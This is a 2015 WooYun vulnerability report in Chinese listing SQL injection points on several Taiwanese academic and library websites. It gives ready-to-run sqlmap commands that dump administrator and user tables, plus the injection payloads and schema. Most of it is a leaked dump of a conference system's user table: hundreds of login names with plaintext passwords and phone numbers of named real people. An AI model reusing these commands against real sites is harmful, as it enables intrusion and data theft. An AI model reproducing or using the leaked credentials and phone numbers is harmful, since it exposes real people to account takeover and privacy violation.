当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147506

漏洞标题:台湾多个站点SQL注入漏洞大礼包(臺灣地區)

相关厂商:Hitcon台湾互联网漏洞报告平台

漏洞作者: 慢慢

提交时间:2015-10-18 22:42

修复时间:2015-12-05 04:14

公开时间:2015-12-05 04:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-18: 细节已通知厂商并且等待厂商处理中
2015-10-21: 厂商已经确认,细节仅向厂商公开
2015-10-31: 细节向核心白帽子及相关领域专家公开
2015-11-10: 细节向普通白帽子公开
2015-11-20: 细节向实习白帽子公开
2015-12-05: 细节向公众公开

简要描述:

详细说明:

台湾国家图书馆某分站存在SQL注入漏洞
地址:http://**.**.**.**/ccsenews/a/epaper_content_show.asp?EpaperID=47&ContentTypeID=3&SerialNo=1

python sqlmap.py -u "http://**.**.**.**/ccsenews/a/epaper_content_show.asp?EpaperID=47&ContentTypeID=3&SerialNo=1" -p EpaperID --technique=B --random-agent -D ccsenews -T tb_AdminMember -C Account,memberID,Name,Password --dump --threads=10


0x02
台湾元智大学某分站存在SQL注入漏洞(布尔盲注/30个库)
http://**.**.**.**/love/love_go/pairs/YZComment.asp?pid=184
0x03
台湾国家图书馆汉学研究

http://**.**.**.**/ccsenews/a/epaper_content_show.asp?EpaperID=47&ContentTypeID=3&SerialNo=1


0x04
台湾开南大学

http://**.**.**.**/department_newsdetial.php?news_id=889&type_id=3&t_id=


0x04
国立台湾大学

http://**.**.**.**/Specimen/specimen.php?taiid=013529


http://**.**.**.**:88/thesis/view_etd.asp?URN=100424019


0x05
台湾中央研究院

http://**.**.**.**/chi/guestboard2.php?original_id=3113


0x06
台湾朝阳科技大学

http://**.**.**.**/ETD-db/ETD-search/getfile?URN=etd-0830111-174602


0x07
国立高雄应用科技大学:

http://**.**.**.**/paper_management/index.php?conf_alias=iihmsp10


0x08
台湾中央研究院鱼类资料库某处存在SQL注射漏洞(DBA权限/管理弱密码/50个库)

http://**.**.**.**/chi/guestboard2.php?original_id=3113

漏洞证明:

python sqlmap.py -u "http://**.**.**.**/paper_management/index.php?conf_alias=iihmsp10" -p conf_alias --technique=BEU --random-agent -D icicic -T UserInfo -C LoginID,LoginTimes,Password,Phone,UserID --dump --threads=10


---
Parameter: conf_alias (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: conf_alias=-5314' OR 2067=2067#
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: conf_alias=-2854' OR 1 GROUP BY CONCAT(0x717a6a7171,(SELECT (CASE WHEN (3706=3706) THEN 1 ELSE 0 END)),0x716a707871,FLOOR(RAND(0)*2)) HAVING MIN(0)#
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: conf_alias=-2749' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x717a6a7171,0x41644e5579505277545a,0x716a707871),NULL#
---
web server operating system: Linux Ubuntu 13.04 or 12.04 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5
available databases [2]:
[*] icicic
[*] information_schema


Database: icicic
[12 tables]
+-------------------------+
| AuthorInfo |
| Category |
| CategoryFormat |
| ConferenceAdministrator |
| ConferenceInfo |
| ConferenceReviewer |
| Country |
| PaperAuthor |
| PaperInfo |
| PaperReview |
| UserInfo |
| WorkshopInfo |
+-------------------------+


Database: icicic
Table: UserInfo
[31 columns]
+------------------+-------------------------------------------------------------------------+
| Column | Type |
+------------------+-------------------------------------------------------------------------+
| TimeStamp | timestamp |
| Active | enum('Yes','No') |
| Address | varchar(100) |
| Affiliation | varchar(150) |
| Authority | tinyint(2) |
| City | varchar(30) |
| CountryID | tinyint(3) unsigned |
| CourteousTitle | enum('Mr.','Ms.','Mrs.','Prof.','Dr.') |
| CreateDate | date |
| Department | varchar(100) |
| Email | varchar(50) |
| Email2 | varchar(50) |
| Email3 | varchar(50) |
| Fax | varchar(30) |
| FirstName | varchar(50) |
| HashCode | varchar(40) |
| JobTitle | varchar(30) |
| LastName | varchar(30) |
| LoginID | varchar(30) |
| LoginTimes | smallint(5) unsigned |
| MiddleName | varchar(30) |
| Password | varchar(14) |
| Phone | varchar(30) |
| RecommanderID | smallint(6) unsigned zerofill |
| Specialty | varchar(100) |
| State | varchar(30) |
| TypeOrganization | enum('Academic','Industrial') |
| UserGrade | enum('General Chair','Program Committee Chair','Workshop Chair','None') |
| UserID | smallint(6) unsigned zerofill |
| UserType | enum('Administrator','Reviewer','Author','Member') |
| ZipCode | varchar(20) |
+------------------+-------------------------------------------------------------------------+


<code>Database: icicic
Table: UserInfo
[8352 entries]
+--------------------------------+------------+----------------+--------------------------------+--------+
| LoginID | LoginTimes | Password | Phone | UserID |
+--------------------------------+------------+----------------+--------------------------------+--------+
| iihmsp06 | 0 | 38145265637 | <blank> | 000001 |
| jhho | 0 | 1234 | 886-77310606 | 000002 |
| Zhongrui | 0 | 123456 | 0081-80-485856826 | 000003 |
| icic07 | 0 | kuas5636*# | <blank> | 000004 |
| hfymail | 0 | 750923 | 86-20-31849409 | 000203 |
| tata | 0 | 820923 | 86-13991841669 | 000204 |
| qujingyi | 0 | dongyibo | 86-13585573059 | 000205 |
| zhuping | 0 | 620718 | 0086-0510-88949986 | 000206 |
| txq5139 | 0 | 620718 | 051088949986 | 000207 |
| cheshengbing727 | 0 | 727819 | +86-13548567278 | 000208 |
| longjiangyu | 0 | 19761021 | 86-451-86418083 | 000209 |
| pwtsai | 0 | 1234qwer | 886738145265636 | 000210 |
| wanghp | 0 | mcc305 | 008675526033618 | 000211 |
| zouxinguang | 0 | zou123 | 8645186402483 | 000213 |
| zouxinguang2006 | 0 | zou123 | 8645186402483 | 000214 |
| zouxinguang06 | 0 | zou123 | 8645186402483 | 000215 |
| xgzou | 0 | zou123 | 8645186402483 | 000216 |
| yiningqi | 0 | 520810 | 0086-13774262699 | 000217 |
| yiningqi710 | 0 | 520810 | 0086-13774262699 | 000218 |
| yiningqi520810 | 0 | 520810 | 0086-13774262699 | 000219 |
| andyqi710 | 0 | 520810 | 0086-13774262699 | 000220 |
| andyqi | 0 | 520810 | 0086-13774262699 | 000221 |
| hweii | 0 | 79510 | 8613759958840 | 000234 |
| ccchang | 0 | aliceccc | 8864245172503790 | 000235 |
| sunjd | 0 | sjdharry | 86-0391-3987725 | 000224 |
| sunharry | 0 | sjdharry | 86-0391-3987725 | 000225 |
| harrysun | 0 | sunharry | 86-0391-3987725 | 000233 |
| jjleou | 0 | #godbless | 886-5-2720405 | 000230 |
| xuzhaochina | 0 | richard | 043113104415329 | 000231 |
| thunderhust | 0 | thunderray81 | 8613946112336 | 000232 |
| liuhongmin | 0 | 780314 | 86-351-3628018 | 000236 |
| saeedsedghi | 0 | 76805566 | 0098-511-6080129 | 000237 |
| xzmcmakai | 0 | mk1998 | 13813292656 | 000238 |
| pinkwang1109 | 0 | 11091104 | 861-05566205976 | 000239 |
| boyzoom | 0 | 30503050 | 13149922421 | 000240 |
| choyongjin | 0 | dkflRkf2 | 1-213-255-8342 | 000241 |
| whj | 0 | whjhyj2006 | 8653188361656 | 000242 |
| JengShyangPan | 0 | jspankitty | 88673814526-5636 | 000243 |
| phd2008 | 0 | 98081029 | 0086-021-20000000 | 000244 |
| yongzhrock | 0 | shanghaitao | 086-010-67396654 | 000245 |
| baohm | 0 | 654321 | 0411-84727446 | 000246 |
| qiaoyulong | 0 | qyl8211qyl | 86-451-88578760 | 000247 |
| luohao | 0 | 123456 | 86-451-13199473723 | 000248 |
| ZhiminPang | 0 | 8207016 | 86-531-88395186 | 000249 |
| qiusong | 0 | 123456 | 86-021-52825916 | 000250 |
| HQFRANK | 0 | iihmsp06 | 01-337-255-9880 | 000251 |
| jirongrong | 0 | Aa321123 | 045186416485 | 000252 |
| hdqiang | 0 | 532610 | 86-0733-8498472 | 000253 |
| tnakashima | 0 | /naka4ma3/ | 81-96-386-2837 | 000254 |
| zhaowenhui | 0 | 991126 | 0086-0451-88578529 | 000255 |
| junbaoli_hit | 0 | 780513 | 86-451-89152881 | 000256 |
| zzbbsshan | 0 | 800813 | 08613050510535 | 000257 |
| xulingjun | 0 | 123456 | 86-10-62282846-404 | 000258 |
| cpfan1471 | 0 | cpfan325 | 886422840688 | 000259 |
| xialala | 0 | wxx1204 | 08613081103921 | 000260 |
| xm885 | 0 | 761113 | 13592471110 | 000261 |
| fenggang | 0 | 750326 | 86-451-89557526 | 000262 |
| lw | 0 | lw@iihmsp | 3216321853 | 000263 |
| heqs1998 | 0 | 989700 | 86-13401019495 | 000264 |
| wuchx | 0 | wuchxwuchx | 086-027-62366869 | 000265 |
| hffsxg | 0 | 123456 | 86-28-86595984 | 000266 |
| linchuang | 0 | 150900150900 | 886-13644613565 | 000267 |
| dokwon | 0 | usc2001 | 1-213-740-4657 | 000268 |
| antoniosavoldi | 0 | fononeMSP2006 | 00390303715436 | 000269 |
| wangxueguang | 0 | wangxgnn | 8613917090469 | 000270 |
| xuguan | 0 | qazwsx | 86-13752265136 | 000271 |
| jpqiao | 0 | 8362323 | 86-0531-88362323 | 000272 |
| kaiwang | 0 | 511221 | 83793322 | 000273 |
| Mandy | 0 | 8332500 | 0086-013366661669 | 000274 |
| yongxu | 0 | 998899 | 13640997970 | 000329 |
| zheminglu | 0 | lzmlzy | 86-755-26032096 | 000275 |
| nainguijun | 0 | 730116 | 086-0431-5684201 | 000276 |
| horsewoods | 0 | woshimalin | 86-13895781980 | 000277 |
| zhangru | 0 | buptisc | 13911400947 | 000278 |
| jwwang | 0 | vincent | 886-7-3814526-3350 | 000279 |
| shahryarIIH | 0 | edbtgfn1IIH | 001310-837-1218 | 000280 |
| byunghocha | 0 | chcd1117 | 1-213-740-4657 | 000281 |
| xqzh | 0 | 3792246 | 86-13770836474 | 000282 |
| qiaoxiaohua0907 | 0 | 5164241 | 043113039219581 | 000283 |
| breeze833 | 0 | xcon9iihmsp | +886-3-9873088~7124 | 000287 |
| qiaoxiaohua1982 | 0 | richard | 043113039219581 | 000284 |
| tfeng79 | 0 | feng929 | 8602767862349 | 000285 |
| mb | 0 | aportland | 1-213-740-4469 | 000286 |
| zywu | 0 | mpeg1999 | 86-028-83207128 | 000288 |
| sandson | 0 | 103124 | 8613813906575 | 000289 |
| eleven | 0 | 112520 | +86-0-13329739126 | 000290 |
| jincong | 0 | 88664026 | 86-027-87373038 | 000291 |
| musicdsp | 0 | musicusc | 1-213-840-3789 | 000292 |
| LIUCuiqing | 0 | ~!@#$%^&*() | 8601067662638 | 000293 |
| jlakshmi | 0 | harikkuttan | 00912225720651 | 000294 |
| papererfu06 | 0 | 612000 | 86-45113766809595 | 000295 |
| yinyenhui | 0 | 2ajiirjl | 886-7-3814526-5652 | 000296 |
| ZHANGGuomin | 0 | 790108 | 086-025-80828628 | 000297 |
| pengdeyun | 0 | wxx1204 | 086031187994995 | 000298 |
| MAYANKJAIN2006 | 0 | 271983 | 917312590425 | 000299 |
| yzhao | 0 | leader | 86-10-51688667 | 000300 |
| imtiaz | 0 | bismillah | 9203005219214 | 000301 |
| brunda | 0 | yan0728 | 86-371-63530528 | 000302 |
| royce | 0 | kuas5652 | 886-7-3814526-5652 | 000303 |
| elfinsnow | 0 | wujinfei555 | 8613880900522 | 000304 |
| cch2000 | 0 | 19850129 | 0086-13552549206 | 000305 |
| Luojinhong | 0 | weili480806 | 86-020-87114554 | 000306 |
| xghost | 0 | damagi | 886-7-3814526 | 000307 |
| jinyepeng | 0 | 123456 | 86-29-88308119 | 000308 |
| bsliao | 0 | qwert | 886-7-7310606-3411 | 000311 |
| ChaoHoChen | 0 | ChaoHoChen | 886-7-3814526-5652 | 000309 |
| ChenThouHo | 0 | ChenThouHo | 886-7-3814526-5652 | 000310 |
| bghoraani | 0 | 12341355 | 14169795000 | 000312 |
| omarflorez | 0 | rosario | 510549762919 | 000313 |
| Chiang | 0 | chiang0801 | 886226215656 | 000314 |
| yanjunli | 0 | oluoba | 862224092442 | 000315 |
| zhurh822 | 0 | 820223 | 862224092442 | 000316 |
| juhao031422 | 0 | 2533471 | 0086-0451-81103606 | 000317 |
| dam | 0 | 220100 | 86-01062283694 | 000318 |
| iechizen | 0 | pizz0606 | +81-3-4212-2516 | 000319 |
| wanchilee | 0 | eeb418 | 1-213-740-4657 | 000320 |
| JasonLin | 0 | 54fellow | 886-6-2084431 | 000321 |
| yaolanus | 0 | 8797185 | 86-511-8797185 | 000322 |
| zubaoming | 0 | qazmlp99 | 86-0-13655281829 | 000323 |
| kcliu | 0 | roger123 | 886-2-25925252 | 000324 |
| xphong | 0 | 123456 | 045186416485 | 000325 |
| liehuangz | 0 | 957140 | 861013391560306 | 000326 |
| mehdi.rezaei@tut.fi | 0 | mr23091969 | +358 3 3115 4966 | 000327 |
| supava | 0 | paew1410 | 6622186909 | 000328 |
| shjjj | 0 | 800303 | 086045186418504 | 000330 |
| tongxiaojun | 0 | 630511 | 0086-631-5682109 | 000331 |
| cctseng | 0 | ee282460 | 88673814526 | 000332 |
| shenqing | 0 | sq3945527 | 0086-0351-3942669 | 000333 |
| shenqing9 | 0 | sq3945527 | 0086-0351-3942669 | 000334 |
| jinzhang | 0 | jinzhang | 8613808455128 | 000335 |
| jjshj | 0 | 800303 | 086045186418504 | 000336 |
| ChingchunHuang | 0 | spencer | 886-3-5918023 | 000337 |
| hugomcp | 0 | yurgenyr | 00351968983889 | 000338 |
| hongsongli | 0 | h5322324 | 00086-0871-5322324 | 000339 |
| yljeang | 0 | 9s528744 | 8866205001865000 | 000340 |
| zhn622 | 0 | 810622 | 0086-13691378980 | 000341 |
| pufang | 0 | old6800b0901 | 0862167792016 | 000342 |
| nsliu | 0 | a12345 | 865926182232 | 000343 |
| derek4444 | 0 | 831024... | 008613466554351 | 000344 |
| xmniu | 0 | niulei66 | 13845184362 | 000345 |
| Mohammad | 0 | Lrhgi2008 | 00989122236349 | 000346 |
| yuyhbj | 0 | 621024 | 8641184727452 | 000347 |
| jjlei | 0 | jjlei31 | 86-010-62283059-1015 | 000348 |
| IIHMSP06xhl | 0 | xu630811 | 86-10-68514107 | 000349 |
| yaolan | 0 | 8797185 | 86-511-8797185 | 000350 |
| Virgo | 0 | 1234567 | 86-01062773417 | 000351 |
| hudong | 0 | hudong7797 | 13086673590 | 000352 |
| ashirazi | 0 | 09133064677 | 0098218027756 | 000353 |
| yidday | 0 | hithuangfeng | 86-13873210366 | 000354 |
| bunnyusc | 0 | whitehare | 16263215226 | 000355 |
| zhangdingxue | 0 | 199531 | 86-27-62744350 | 000356 |
| fshwang | 0 | 960313 | 086-010-13011020764 | 000357 |
| leonxie | 0 | ll1977 | 8610-65783401 | 000358 |
| sagat | 0 | sagatsagat | 86-411-84706368 | 000359 |
| qzhang | 0 | flc8ebJM | 626-652-1514 | 000360 |
| ishaand | 0 | wakaWAKA | 661-204-0797 | 000361 |
| lblc2006 | 0 | lblccy | 8613253561294 | 000362 |
| lbl2006 | 0 | lblccy | 8613253561294 | 000363 |
| libinglong | 0 | lblccy | 8613253561294 | 000364 |
| lblccy | 0 | lblccy | 8613253561294 | 000365 |
| zhaoyaqin | 0 | snowhite | 86-451-86418284 | 000366 |
| gulbis | 0 | Park02long | 00493814987305 | 000367 |
| libeibei | 0 | themeing | 8613844806888 | 000368 |
| xli0315 | 0 | 681010 | 86-10-51688241 | 000369 |
| wangdan | 0 | haier1234 | 8621-65442655-48573 | 000370 |
| tiantianer | 0 | qwdf1234 | 8621-65442655-48573 | 000371 |
| ally1106 | 0 | sonics | 886426328001 | 000372 |
| yang0825 | 0 | 123456 | 86-13526886383 | 000635 |
| wfang | 0 | wfang | 1-818-354-4695 | 000374 |
| fangwei | 0 | ffffff | 13812532566 | 000375 |
| liuqzsc | 0 | 711208 | 1-505-835-5552 | 000376 |
| shenzheng | 0 | zjwang | 8610-62795139 | 000377 |
| anekin | 0 | zjwang | 8610-62795139 | 000378 |
| asdfgh | 0 | aaaaaa | 202-202-2125 | 000379 |
| ray | 0 | ray025 | 886-3-5186373 | 000380 |
| aito | 0 | akinori123 | 81227957084 | 000381 |
| hpshiang | 0 | peterssp | 1-310-869-2172 | 000382 |
| weili2006 | 0 | weili480806 | 86-020-87114554 | 000383 |
| imtiazawan | 0 | bismillah | 9203005219214 | 000384 |
| mayankjain | 0 | 271983 | 9107312590425 | 000390 |
| IIHMSP20060953 | 0 | 19720415 | 008613121068100 | 000385 |
| msbreuer | 0 | melatieee | 213-740-4469 | 000386 |
| shieh | 0 | hsieh7528 | 886346388002430 | 000387 |
| zhn0622 | 0 | 810622 | 8613691378980 | 000388 |
| IIHMSP002 | 0 | 21370222 | 88635645440 | 000389 |
| Jiun-Huei Ho | 0 | aquarius | 886-7-7310606~3230 | 000391 |
| Wai-Chi Fang | 0 | Wai-Chi Fang | <blank> | 000392 |
| Massoud Pedram | 0 | Massoud Pedram | <blank> | 000393 |
| Jeng-Shyang Pan | 0 | Jeng-Shyang Pa | <blank> | 000394 |
| Robert Newcomb | 0 | Robert Newcomb | <blank> | 000395 |
| C.-C. Jay Kuo | 0 | sipi569 | +1-213-740-4658 | 000396 |
| Hsiang-Cheh Huang | 0 | Hsiang-Cheh Hu | <blank> | 000397 |
| Yutao He | 0 | Yutao He | <blank> | 000398 |
| Mark Liao | 0 | Mark Liao | <blank> | 000399 |
| Ming-Ting Sun | 0 | Ming-Ting Sun | <blank> | 000400 |
| Chia-Wen Lin | 0 | ljw33120 | +886-3-573-1152 | 000401 |
| Bing Sheu | 0 | Bing Sheu | <blank> | 000402 |
| Andre Van Schaik | 0 | Andre Van Scha | <blank> | 000403 |
| Bin-Yih Liao | 0 | Bin-Yih Liao | <blank> | 000404 |
| Charles Shaw | 0 | Charles Shaw | <blank> | 000405 |
| Chein-Wei Jen | 0 | Chein-Wei Jen | <blank> | 000406 |
| Chung-Sheng Li | 0 | Chung-Sheng Li | <blank> | 000407 |
| Daniel Howard | 0 | Daniel Howard | <blank> | 000408 |
| Edgar Sanchez Sinencio | 0 | Edgar Sanchez | <blank> | 000409 |
| Ellen Yoffa | 0 | Ellen Yoffa | <blank> | 000410 |
| Enrico Macii | 0 | Enrico Macii | <blank> | 000411 |
| Geert De Veirman | 0 | Geert De Veirm | <blank> | 000412 |
| Georges Gielen | 0 | Georges Gielen | <blank> | 000413 |
| Gianluca Setti | 0 | Gianluca Setti | <blank> | 000414 |
| Joos Vandewalle | 0 | Joos Vandewall | <blank> | 000415 |
| K. Thulasiraman | 0 | K. Thulasirama | <blank> | 000416 |
| Karen Miu | 0 | Karen Miu | <blank> | 000417 |
| Keshab Parhi | 0 | Keshab Parhi | <blank> | 000418 |
| Keung Kwan | 0 | Keung Kwan | <blank> | 000419 |
| Ljiljana Trajkovic | 0 | Ljiljana Trajk | <blank> | 000420 |
| Maciej Ogorzalek | 0 | Maciej Ogorzal | <blank> | 000421 |
| Magdy Bayoumi | 0 | Magdy Bayoumi | <blank> | 000422 |
| Marco Gilli | 0 | Marco Gilli | <blank> | 000423 |
| Mohamad SAWAN | 0 | Mohamad SAWAN | <blank> | 000424 |
| R. Tetzlaff | 0 | R. Tetzlaff | <blank> | 000425 |
| Ralph Etienne-Cummings | 0 | Ralph Etienne- | <blank> | 000426 |
| Richard C. Smith | 0 | Richard C. Smi | <blank> | 000427 |
| Stephen Wong | 0 | Stephen Wong | <blank> | 000428 |
| Sun-Yuan Kung | 0 | Sun-Yuan Kung | <blank> | 000429 |
| Thanos Stouraitis | 0 | Thanos Stourai | <blank> | 000430 |
| Tamas Roska | 0 | Tamas Roska | <blank> | 000431 |
| Tihao Chiang | 0 | Tihao Chiang | <blank> | 000432 |
| Tuna B. Tarim | 0 | Tuna B. Tarim | <blank> | 000433 |
| Un-Ku Moon | 0 | Un-Ku Moon | <blank> | 000434 |
| Wouter A. Serdijn | 0 | Wouter A. Serd | <blank> | 000435 |
| Xinhua Zhuang | 0 | Xinhua Zhuang | <blank> | 000436 |
| Yu-Hen Hu | 0 | Yu-Hen Hu | <blank> | 000437 |
| Yuhjiro Inouye | 0 | Yuhjiro Inouye | <blank> | 000438 |
| Bin Zhu | 0 | Bin Zhu | <blank> | 000439 |
| Canhui Cai | 0 | Canhui Cai | <blank> | 000440 |
| Chang-Tsun Li | 0 | Chang-Tsun Li | <blank> | 000441 |
| Ching-Sung Lu | 0 | Ching-Sung Lu | <blank> | 000442 |
| Chun-Hsien Chou | 0 | Chun-Hsien Cho | <blank> | 000443 |
| Chun-Hui Zhao | 0 | Chun-Hui Zhao | <blank> | 000444 |
| Dalton Lin | 0 | Dalton Lin | <blank> | 000445 |
| Feng Wu | 0 | Feng Wu | <blank> | 000446 |
| Guang-Yu Xu | 0 | Guang-Yu Xu | <blank> | 000447 |
| Hideki Noda | 0 | Hideki Noda | <blank> | 000448 |
| Hsi-Chun Wang | 0 | FP55399 | <blank> | 000449 |
| Hyoung-Joong Kim | 0 | Hyoung-Joong K | <blank> | 000450 |
| Isao Echizen | 0 | Isao Echizen | <blank> | 000451 |
| James Kwok | 0 | James Kwok | <blank> | 000452 |
| Jen-Shiun Chiang | 0 | Jen-Shiun Chia | <blank> | 000453 |
| Jin-Jang Leou | 0 | Jin-Jang Leou | <blank> | 000454 |
| Ju Liu | 0 | Ju Liu | <blank> | 000455 |
| Kang K. Yen | 0 | Kang K. Yen | <blank> | 000456 |
| Min Wu | 0 | Min Wu | <blank> | 000457 |
| Nikos Nikolaidis | 0 | Nikos Nikolaid | 00302310998566 | 000458 |
| Ping-Sung Liao | 0 | Ping-Sung Liao | <blank> | 000459 |
| Rong-Jian Chen | 0 | Rong-Jian Chen | <blank> | 000460 |
| Ron van Schyndel | 0 | Ron van Schynd | <blank> | 000461 |
| Soo-Chang Pei | 0 | Soo-Chang Pei | <blank> | 000462 |
| Tadeusz M. Babij | 0 | Tadeusz M. Bab | <blank> | 000463 |
| Takenobu Matsuura | 0 | Takenobu Matsu | <blank> | 000464 |
| Takuo Nakashima | 0 | Takuo Nakashim | <blank> | 000465 |
| Te-hui Kuo | 0 | Te-hui Kuo | <blank> | 000466 |
| Te-Jen Su | 0 | Te-Jen Su | <blank> | 000467 |
| Tong-Yee Lee | 0 | Tong-Yee Lee | <blank> | 000468 |
| Wei-Bin Lee | 0 | Wei-Bin Lee | <blank> | 000469 |
| Weimin Zheng | 0 | Weimin Zheng | <blank> | 000470 |
| Wen-Shyang Hwang | 0 | Wen-Shyang Hwa | <blank> | 000471 |
| Wuu-Wen Lin | 0 | Wuu-Wen Lin | <blank> | 000472 |
| Wu-Shiung Feng | 0 | Wu-Shiung Feng | <blank> | 000473 |
| Xiamu Niu | 0 | Xiamu Niu | <blank> | 000474 |
| Yao Zhao | 0 | Yao Zhao | <blank> | 000475 |
| Yen-Wei Chen | 0 | Yen-Wei Chen | <blank> | 000476 |
| Lakhmi C. Jain | 0 | Lakhmi C. Jain | <blank> | 000477 |
| Chin-Chen Chang | 0 | Chin-Chen Chan | +886-4-24517250~3790 | 000478 |
| Jiwu Huang_re | 0 | Jiwu Huang | <blank> | 000479 |
| Zhe-Ming\tLu | 0 | Zhe-Ming\tLu | <blank> | 000480 |
| Ioannis Pitas | 0 | Ioannis Pitas | <blank> | 000481 |
| Yun-Qing Shi | 0 | Yun-Qing Shi | <blank> | 000482 |
| Yo-iti Suzuki | 0 | Yo-iti Suzuki | <blank> | 000483 |
| Clark Thomborson | 0 | sn0wball | 6493737599 | 000484 |
| yuehhong_re | 0 | 1$U.n8 | <blank> | 000485 |
| Chin-Shiuh Shieh | 0 | 3814526 | <blank> | 000486 |
| Shu-Chuan Chu | 0 | Shu-Chuan Chu | <blank> | 000487 |
| Peter\tWu | 0 | Peter\tWu | <blank> | 000488 |
| Jhing-Fa Wang | 0 | Jhing-Fa Wang | <blank> | 000489 |
| Eiji Kawaguchi | 0 | Eiji Kawaguchi | <blank> | 000490 |
| Jiwu Huang | 0 | Jiwu Huan | <blank> | 000491 |
| Kuang-Chih Huang | 0 | Kuang-Chih Hua | <blank> | 000492 |
| Yun Q. Shi | 0 | Yun Q. Shi | <blank> | 000493 |
| Jun-Bao Li | 0 | Jun-Bao Li | <blank> | 000494 |
| Chuang Lin | 0 | icICIC2007 | <blank> | 000495 |
| Hao Luo | 0 | Hao Luo | <blank> | 000496 |
| Pei-Wei Tsai | 0 | 1234qwer | <blank> | 000497 |
| RVymcheng | 0 | 1$FW7W | <blank> | 000498 |
| RVjason | 0 | 1$uwe9 | <blank> | 000499 |
| RVChao-Ho Chen | 0 | 1$1uY. | 07-3814526#5613 | 000500 |
| RVTsong-Yi Chen | 0 | 1$WVF3 | <blank> | 000501 |
| RVYuan-Lung Jeang | 0 | 9s528744 | 0935-578745 | 000502 |
| RVtestUserInfo | 0 | 1$zrS9 | <blank> | 000503 |
| RVcjlee | 0 | les1592 | <blank> | 000504 |
| RVdychen | 0 | 1$qzio | <blank> | 000505 |
| RVpwu | 0 | 1$BHOC | <blank> | 000506 |
| RVtykuo | 0 | 1$ODxS | <blank> | 000507 |
| RVtflee | 0 | tflee | 886-7-3814526 | 000508 |
| RVccshih | 0 | 1$abhH | <blank> | 000509 |
| RVcwtseng | 0 | 1$Zlby | <blank> | 000510 |
| RVcylu | 0 | 1$yvpO | <blank> | 000511 |
| RVcchuang | 0 | 1$WMIA | <blank> | 000512 |
| RVwjshyr | 0 | 1$bqdl | <blank> | 000513 |
| RVitchen | 0 | 1$os0M | <blank> | 000514 |
| RVfjliu | 0 | 1$om97 | <blank> | 000515 |
| RVbreeze | 0 | 1$VOCk | <blank> | 000516 |
| RVyclin | 0 | 1$a2l4 | <blank> | 000517 |
| RVychsin | 0 | 1$Uid5 | <blank> | 000518 |
| RVjcchen | 0 | 1$H7k7 | <blank> | 000519 |
| RVcklai | 0 | 1$wo7i | <blank> | 000520 |
| RVWen-Yang Lin | 0 | isu18525 | 886-7-5919517 | 000521 |
| RVfhwang | 0 | 1$Nosz | 886966044922 | 000522 |
| RVTakizawa | 0 | 1$,U0z#s | 000 | 000523 |
| RVHenry Leung | 0 | 1$@x9G3>"]z | 000 | 000524 |
| Ching-Yung Lin | 0 | 1$*x9o3Uzx#x | (914)784-7822 | 000525 |
| Tsuhan Chen | 0 | 1$X8m(3%zpd | 000 | 000526 |
| Chin-Teng Lin | 0 | 1$cYzo8*x3j | (O)(886)3-5712121 EXT 54315, ( | 000527 |
| Liang-Gee Chen | 0 | 1$x0joHJc# | <blank> | 000528 |
| Enrico Magli | 0 | 1$xgT43xhpz | +39 011 5644195 | 000529 |
| Jie Liang | 0 | 1$x98HY3c) | 604-291-5484 | 000530 |
| Ichiro Kuroda | 0 | 1$x)a<$ci3L | 000 | 000531 |
| Haohong Wang_re | 0 | 1$z9lirpPj | 000 | 000532 |
| Haohong Wang | 0 | 1$z9lirpPj | 000 | 000533 |
| Yuan-Pei Lin | 0 | 1$2xY3sop | 000 | 000534 |
